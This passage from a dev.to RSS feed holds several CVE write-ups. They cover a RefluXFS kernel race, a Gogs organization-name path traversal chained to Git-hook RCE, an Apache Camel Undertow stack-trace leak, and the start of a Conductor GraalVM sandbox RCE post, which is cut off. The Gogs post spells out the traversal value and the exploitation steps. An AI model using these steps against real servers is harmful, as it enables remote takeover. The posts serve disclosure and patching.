&lt;li&gt;On systems that may have been exposed, it's worth verifying the &lt;strong&gt;actual contents&lt;/strong&gt; of &lt;code&gt;/etc/passwd&lt;/code&gt; and SUID-root binaries against a trusted backup — metadata alone can't reveal whether tampering occurred.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;RefluXFS isn't a "memory corruption" bug — it's a logic flaw that exploits &lt;strong&gt;the split-second moment two threads hand a lock back and forth&lt;/strong&gt;. A few lines of ordering — &lt;em&gt;release lock → wait → re-acquire lock → act on a stale value&lt;/em&gt; — turn into a full path to root, and it's a solid reminder of why race conditions remain one of the hardest vulnerability classes to defend against.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The code in this post is &lt;strong&gt;conceptual pseudocode&lt;/strong&gt; meant to illustrate the vulnerability's logic flow. It is not working exploit code or an attack tool.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Qualys TRU, "RefluXFS: A Linux Kernel Local Privilege Escalation to Root in XFS (CVE-2026-64600)," July 22, 2026&lt;/li&gt;
&lt;li&gt;CVE-2026-64600 (NVD / Red Hat / SUSE / Debian Security Tracker)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cve</category>
      <category>linux</category>
      <category>kernel</category>
      <category>exploit</category>
    </item>
    <item>
      <title>CVE-2026–52813: Remote Code Execution via Organization-Name Path Traversal in Gogs</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 31 Jul 2026 00:48:00 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-52813-remote-code-execution-via-organization-name-path-traversal-in-gogs-201o</link>
      <guid>https://dev.to/guidance_white/cve-2026-52813-remote-code-execution-via-organization-name-path-traversal-in-gogs-201o</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3193jk7rulgab1qcymp7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3193jk7rulgab1qcymp7.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;1. Overview&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Gogs is an open-source, self-hosted Git service written in Go. CVE-2026–52813 stems from &lt;strong&gt;missing validation on the organization name at creation time&lt;/strong&gt;, and it escalates into something far more serious: &lt;strong&gt;an authenticated, ordinary user can write files to an arbitrary path on the server’s filesystem, and combine that with a Git hook to achieve remote code execution (RCE).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because Gogs allows any signed-up user to create an organization by default, this means &lt;strong&gt;a plain user registration — with no admin privileges required — is enough to fully compromise the server.&lt;/strong&gt; That’s exactly why it earned a perfect CVSS score of 10.0.&lt;/p&gt;

&lt;p&gt;In this post, we’ll walk through the vulnerability at the source-code level and explain, in plain terms, why this particular code leads all the way to RCE.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;2. Where It Starts: Missing Validation on the Organization Name&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;When an organization is created in Gogs, the org-creation logic in &lt;strong&gt;internal/database/org.go&lt;/strong&gt; runs internally and creates a directory using the organization name as the folder name. The problematic code looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7jpxscrpfeg3eodzcipi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7jpxscrpfeg3eodzcipi.png" alt=" " width="798" height="101"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The key issue here is that &lt;strong&gt;org.Name is passed straight into os.MkdirAll&lt;/strong&gt;. &lt;strong&gt;org.Name&lt;/strong&gt; is simply the organization-name string a user submits in an API request, and there was no filtering for path-traversal sequences (../) applied to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UserPath&lt;/strong&gt; and &lt;strong&gt;RepositoryPath&lt;/strong&gt; are the functions that actually build the storage path, and in the vulnerable version they're extremely simple:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fm5v1t1j7rnhnhkjxt7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fm5v1t1j7rnhnhkjxt7.png" alt=" " width="799" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;filepath.Join&lt;/strong&gt; will happily "normalize" a relative path segment like ../, but it won't block it. If you set &lt;strong&gt;owner&lt;/strong&gt; to .&lt;strong&gt;./../../../tmp/test&lt;/strong&gt;, &lt;strong&gt;filepath.Join&lt;/strong&gt; just computes it as-is and returns &lt;strong&gt;/tmp/test&lt;/strong&gt; — a path that sits above &lt;strong&gt;conf.Repository.Root&lt;/strong&gt; entirely.&lt;/p&gt;

&lt;p&gt;To summarize:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Organization name = ../../../../tmp/test&lt;/li&gt;
&lt;li&gt;Creating a repository under this “organization” actually creates a Git bare repo (xxx.git) at /tmp/test on the server, well outside the Gogs repository root.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That alone already gives an attacker arbitrary path write access. But the truly dangerous part of this vulnerability is one step further: it can also be used to overwrite a &lt;strong&gt;Git hook file&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;3. From Path Traversal to RCE: Git Hooks and the local-r Directory&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;When a user edits a file through the web editor, Gogs clones the repository the user is viewing into a local working copy on the server, and handles commit/push operations inside it. That temporary clone path looks roughly like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj7053dl6ofqlroe6l16j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj7053dl6ofqlroe6l16j.png" alt=" " width="800" height="87"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This directory is, in effect, “a directory Git can freely read and write to.” And a Git bare repository’s hooks/update script is a &lt;strong&gt;shell script that the server automatically executes every time a push comes in&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here’s the attacker’s plan:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create an ordinary repository (writer) that you own, and find its internal repository ID (say, 1).&lt;/li&gt;
&lt;li&gt;Using that ID, &lt;strong&gt;create a new organization whose name is a path-traversal string&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdjoye33yishz36f5dob1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdjoye33yishz36f5dob1.png" alt=" " width="800" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a new repository (rce) under this "organization." Because of the traversal, it actually gets created at nested/rce.git inside writer's local working copy.&lt;/li&gt;
&lt;li&gt;Clone writer locally, create a nested/rce.git/hooks/update file containing a malicious Bash script, and push it to writer. (From writer's perspective, this looks like an entirely ordinary commit that just adds one file.)&lt;/li&gt;
&lt;li&gt;Touch the rce repository again (e.g., via an API call) to trigger execution of that hooks/update script.&lt;/li&gt;
&lt;li&gt;The server executes the attacker’s Bash commands under the git account's privileges.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In other words, t*&lt;em&gt;he “organization” built via path traversal, and the “repository” created under it, actually resolve to another repository’s hook directory&lt;/em&gt;* — and the attacker can rewrite that hook script’s contents using nothing more than the normal file-editing feature (web editor / commit). The actual PoC run ends with a command executed under server privileges, as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F71wtrhbncta6qemkuoo2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F71wtrhbncta6qemkuoo2.png" alt=" " width="800" height="103"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since &lt;strong&gt;anyone can register and create an organization by default&lt;/strong&gt;, this attack requires no admin privileges and no social engineering whatsoever. Just two API calls (create org + create repo) plus an ordinary commit/push is all it takes to complete an RCE chain.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw5jgaflpxnxkb88u7m81.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw5jgaflpxnxkb88u7m81.png" alt=" " width="799" height="589"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Figure 1. The 5-step exploitation flow for CVE-2026–52813&lt;/p&gt;

&lt;p&gt;① The attacker creates an ordinary repository (writer) and identifies its internal repository ID → ② A path-traversal string containing that ID is used as the organization name to create a new organization → ③ Creating a repository under that organization actually places it inside writer's local working copy (local-r/{ID}) → ④ The hooks/update file at that location is swapped for a malicious script disguised as an ordinary commit/push → ⑤ Touching the repository again triggers the hook, executing commands under the git account. The final step, shown in dark navy, is where the actual RCE occurs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Patch Analysis&lt;/strong&gt;&lt;br&gt;
The Gogs team addressed this in 0.14.3 at three points.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;4–1. Introducing a Path-Normalization Function *&lt;/em&gt;(internal/repox/repox.go)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftt754wmzb8492hh9ijof.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftt754wmzb8492hh9ijof.png" alt=" " width="799" height="236"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The newly added pathx.Clean() strips (or rejects) path-traversal elements like ../ from user/organization names and repository names. Where the code previously relied on filepath.Join alone, it now adds &lt;strong&gt;an extra layer that validates the input itself&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;4–2. Stricter Input Validation on the Organization Name *&lt;/em&gt;(internal/route/api/v1/org.go)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1zyjf0iheb3vbmoh08k4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1zyjf0iheb3vbmoh08k4.png" alt=" " width="798" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Previously, the only constraint on the organization name was that it be “required.” After the patch, AlphaDashDot (letters, digits, dashes, and dots only) and MaxSize(35) (a 35-character cap) were added. This means an organization name containing characters like / or .. is now rejected at the API layer before it ever reaches the filesystem code.&lt;/p&gt;

&lt;p&gt;In other words, the patch consists of two layers: &lt;strong&gt;“input validation (allow-list based)” and “defense built into the path-construction function itself.”&lt;/strong&gt; If one layer fails, the other still catches it. This kind of defense-in-depth is a good pattern to keep in mind when designing your own security patches.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp6h8217jtzgui8nad6u5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp6h8217jtzgui8nad6u5.png" alt=" " width="799" height="465"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Figure 2. The defense-in-depth structure of the patch&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When user input (organization/repository name) comes in, the first layer — API-level AlphaDashDot + MaxSize(35) validation — filters out disallowed characters and excessive length. Even if there were a way to bypass that first layer, the second layer — pathx.Clean() in repox.go — strips traversal elements again at the moment the actual path is constructed. With only one of these layers in place, a bypass would remain possible; with both layered together, only a safe path is ever produced, even if one layer is defeated.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;5. Key Takeaway (Developer’s Perspective)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Boiled down to the code level, this vulnerability has a single root cause:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A string the user fully controls was used directly in constructing a filesystem path.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;filepath.Join&lt;/strong&gt; only "normalizes" a path — it does nothing to stop .. from escaping the intended parent directory. Whenever a file path is built from user input, you should apply at least one of the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apply an allow-list of permitted characters to the input (letters, digits, and a small set of special characters only)&lt;/li&gt;
&lt;li&gt;After building the path, check for the presence of .., or verify (via a prefix check) that the final path actually falls under the intended root directory&lt;/li&gt;
&lt;li&gt;Where possible, map user input to an internal identifier (a UUID, for example) instead of using it directly as a file or directory name&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Gogs’s own patch ultimately follows exactly this principle, combining a character allow-list (AlphaDashDot) with a path-sanitization function (pathx.Clean).&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/rncAAJ_6Ixg"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;6. Mitigation&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade to Gogs 0.14.3 or later immediately.&lt;/li&gt;
&lt;li&gt;If an immediate upgrade isn’t feasible, as a temporary measure, consider disabling user registration / organization creation, or restricting it to trusted users only.&lt;/li&gt;
&lt;li&gt;It’s also worth separately auditing whether other API paths (invitations, migrations, etc.) could bypass the organization-name filtering.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cve</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>exploit</category>
    </item>
    <item>
      <title>[CVE-2026-56139] Apache Camel Undertow Component — Sensitive Information Exposure via Error Messages</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 28 Jul 2026 08:17:32 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-56139-apache-camel-undertow-component-sensitive-information-exposure-via-error-messages-9f4</link>
      <guid>https://dev.to/guidance_white/cve-2026-56139-apache-camel-undertow-component-sensitive-information-exposure-via-error-messages-9f4</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;1. Overview&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Field   Detail&lt;br&gt;
&lt;strong&gt;CVE ID&lt;/strong&gt; : CVE-2026-56139&lt;br&gt;
&lt;strong&gt;Classification&lt;/strong&gt; : CWE-209 (Generation of Error Message Containing Sensitive Information)&lt;br&gt;
&lt;strong&gt;Affected component&lt;/strong&gt; : camel-undertow (Apache Camel)&lt;br&gt;
&lt;strong&gt;Affected versions&lt;/strong&gt;: 4.0.0–4.14.7 / 4.15.0–4.18.2 / 4.19.0–4.20.x&lt;br&gt;
&lt;strong&gt;Fixed in&lt;/strong&gt; : 4.14.8 / 4.18.3 / 4.21.0&lt;br&gt;
&lt;strong&gt;Disclosed&lt;/strong&gt; : 2026-07-06&lt;/p&gt;

&lt;p&gt;Apache Camel is an integration framework used to connect different systems. camel-undertow is the component that builds HTTP endpoints on top of the lightweight Undertow web server.&lt;/p&gt;

&lt;p&gt;This CVE doesn't require any novel exploitation technique. It's a case where a single misconfigured default value leaks internal server information without any special manipulation at all.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;2. Safe Behavior vs. Vulnerable Behavior&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Camel's HTTP server consumers use a &lt;strong&gt;muteException&lt;/strong&gt; option to decide whether an exception thrown during route processing should be shown to the client.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;muteException = true&lt;/strong&gt; → the exception is suppressed; only an empty response is returned (safe)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;muteException = false&lt;/strong&gt; → the full exception stack trace is written directly into the response body (dangerous)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The issue was the default value of this option. &lt;strong&gt;camel-http, camel-jetty, camel-servlet&lt;/strong&gt;, and &lt;strong&gt;camel-platform-http&lt;/strong&gt; all default to &lt;strong&gt;true&lt;/strong&gt; — but &lt;strong&gt;camel-undertow&lt;/strong&gt; alone defaulted to false.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp8th41mh4whqpczladrp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp8th41mh4whqpczladrp.png" alt=" " width="800" height="391"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In other words, if a developer used camel-undertow without explicitly setting &lt;strong&gt;muteException&lt;/strong&gt;, the service was unknowingly running in "exception-exposing" mode.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;3. Source Code Analysis&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;3-1. Normal Route Flow&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's a conceptual reconstruction of how &lt;strong&gt;UndertowConsumer&lt;/strong&gt; handles an incoming request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// UndertowConsumer processing flow (conceptual reconstruction)
try {
    exchange = createExchange(httpExchange);
    processor.process(exchange);   // route logic runs here; exception may be thrown
} catch (Exception e) {
    if (!muteException) {
        // default is false, so execution falls into this branch
        httpExchange.getResponseSender().send(getStackTraceAsString(e));
    } else {
        httpExchange.setStatusCode(500);
        // response body stays empty
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The core issue is that a single boolean flag, &lt;strong&gt;muteException&lt;/strong&gt;, decides whether the exception gets exposed — and that flag's &lt;strong&gt;initial value was set incorrectly&lt;/strong&gt;. This is the primary root cause.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3-2. The Bigger Problem — Rest DSL Ignores the Setting Entirely&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is where it gets worse. When using Camel's Rest DSL (defining REST APIs with the &lt;strong&gt;rest()&lt;/strong&gt; syntax), response handling goes through a separate class called &lt;strong&gt;RestUndertowHttpBinding&lt;/strong&gt;, and this class &lt;strong&gt;constructs itself with&lt;/strong&gt; &lt;strong&gt;muteException hardcoded to false.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// RestUndertowHttpBinding constructor (conceptual reconstruction)
public class RestUndertowHttpBinding extends DefaultUndertowHttpBinding {
    public RestUndertowHttpBinding() {
        // muteException is fixed to false regardless of user configuration
        super(false);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is serious because operators who explicitly set the option like below &lt;strong&gt;still weren't protected&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;undertow:http://0.0.0.0:8080/api?muteException=true&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You could believe you'd already secured your endpoint, while the REST-specific code path never even reads that setting. That makes this a much more dangerous class of bug than an ordinary "wrong default" mistake.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnr6yxopeejvuhmxqqzzu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnr6yxopeejvuhmxqqzzu.png" alt=" " width="800" height="542"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;4. Attack Scenario&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;All an attacker needs is a request that triggers an exception somewhere inside the route logic:&lt;/p&gt;

&lt;p&gt;Sending a malformed request body&lt;br&gt;
Omitting a required parameter or sending the wrong type&lt;br&gt;
Sending input that trips up internal logic (a failed DB lookup, a null-pointer condition, etc.)&lt;/p&gt;

&lt;p&gt;Any one of these is enough to get a full stack trace back in the response, like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;java.lang.NullPointerException: Cannot invoke "String.length()" ...
    at com.company.internal.OrderService.validate(OrderService.java:142)
    at com.company.internal.OrderService.process(OrderService.java:88)
    at org.apache.camel.processor.CamelInternalProcessor...
Caused by: java.sql.SQLException: Access denied for user 'admin'@'10.0.2.15'
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;




&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/l4jHN97MIhA"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;5. What Can Leak in a Stack Trace&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Credential fragments embedded in exception messages&lt;/li&gt;
&lt;li&gt;Internal hostnames and private IP ranges&lt;/li&gt;
&lt;li&gt;Server filesystem paths&lt;/li&gt;
&lt;li&gt;Library and version information (useful for chaining with other CVEs)&lt;/li&gt;
&lt;li&gt;Class names, package structure, and internal application architecture&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's not remote code execution by itself, but it's &lt;strong&gt;a large chunk of reconnaissance data that significantly shortens an attacker's path to further exploitation.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;6. Mitigation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Immediate action (before patching)&lt;/strong&gt;&lt;br&gt;
For normal routes, explicitly set &lt;strong&gt;muteException=true&lt;/strong&gt;:&lt;br&gt;
&lt;code&gt;undertow:http://0.0.0.0:8080/api?muteException=true&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;or set it globally via a property:&lt;br&gt;
&lt;code&gt;camel.component.undertow.mute-exception=true&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;However, if you're using Rest DSL, this alone will not fully protect you — because of the hardcoded bug described above.&lt;/p&gt;

&lt;p&gt;Root-cause fix (recommended)&lt;br&gt;
Stream in use     Upgrade to&lt;br&gt;
Latest             4.21.0&lt;br&gt;
4.14.x LTS     4.14.8&lt;br&gt;
4.18.x             4.18.3&lt;/p&gt;

</description>
    </item>
    <item>
      <title>CVE-2026-58138</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 26 Jul 2026 09:07:38 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-58138-odm</link>
      <guid>https://dev.to/guidance_white/cve-2026-58138-odm</guid>
      <description>&lt;p&gt;&lt;strong&gt;1. CVE-2026-58138&lt;/strong&gt;&lt;br&gt;
An Unauthenticated Remote Code Execution (RCE) vulnerability in the GraalVM script evaluator of Orkes/OSS Conductor.&lt;/p&gt;

&lt;p&gt;Conductor is a workflow orchestration engine that allows users to execute user-defined JavaScript and Python expressions within INLINE tasks. The root cause of this vulnerability lies in a misconfiguration within this execution engine.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target Software&lt;/strong&gt;: Orkes/OSS Conductor 3.21.21 ~ 3.30.1&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patched Version&lt;/strong&gt;: 3.30.2 (Commits 87a7d96, c691e35)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Class&lt;/strong&gt;: CWE-94 (Code Injection) — Unenforced GraalVM Polyglot Sandbox&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVSS Score&lt;/strong&gt;: 9.8 (Critical)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Technical Analysis&lt;/strong&gt;&lt;br&gt;
Conductor utilizes the GraalVM Polyglot Context to execute scripts within INLINE tasks. In versions 3.29.x and lower, the script evaluator (ScriptEvaluator class) configures host access policy as follows when instantiating the context:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx269t9lllpe1rsxw2l7j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx269t9lllpe1rsxw2l7j.png" alt=" " width="714" height="90"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HostAccess.ALL&lt;/strong&gt; permits the JavaScript engine unrestricted access to all methods and fields of Java host objects. While GraalVM natively provides sandboxing policies (e.g., HostAccess.EXPLICIT) that block reflection or arbitrary class loading by default, Conductor completely disabled these protections for convenience.&lt;/p&gt;

&lt;p&gt;A similar flaw exists in the Python evaluator:&lt;/p&gt;

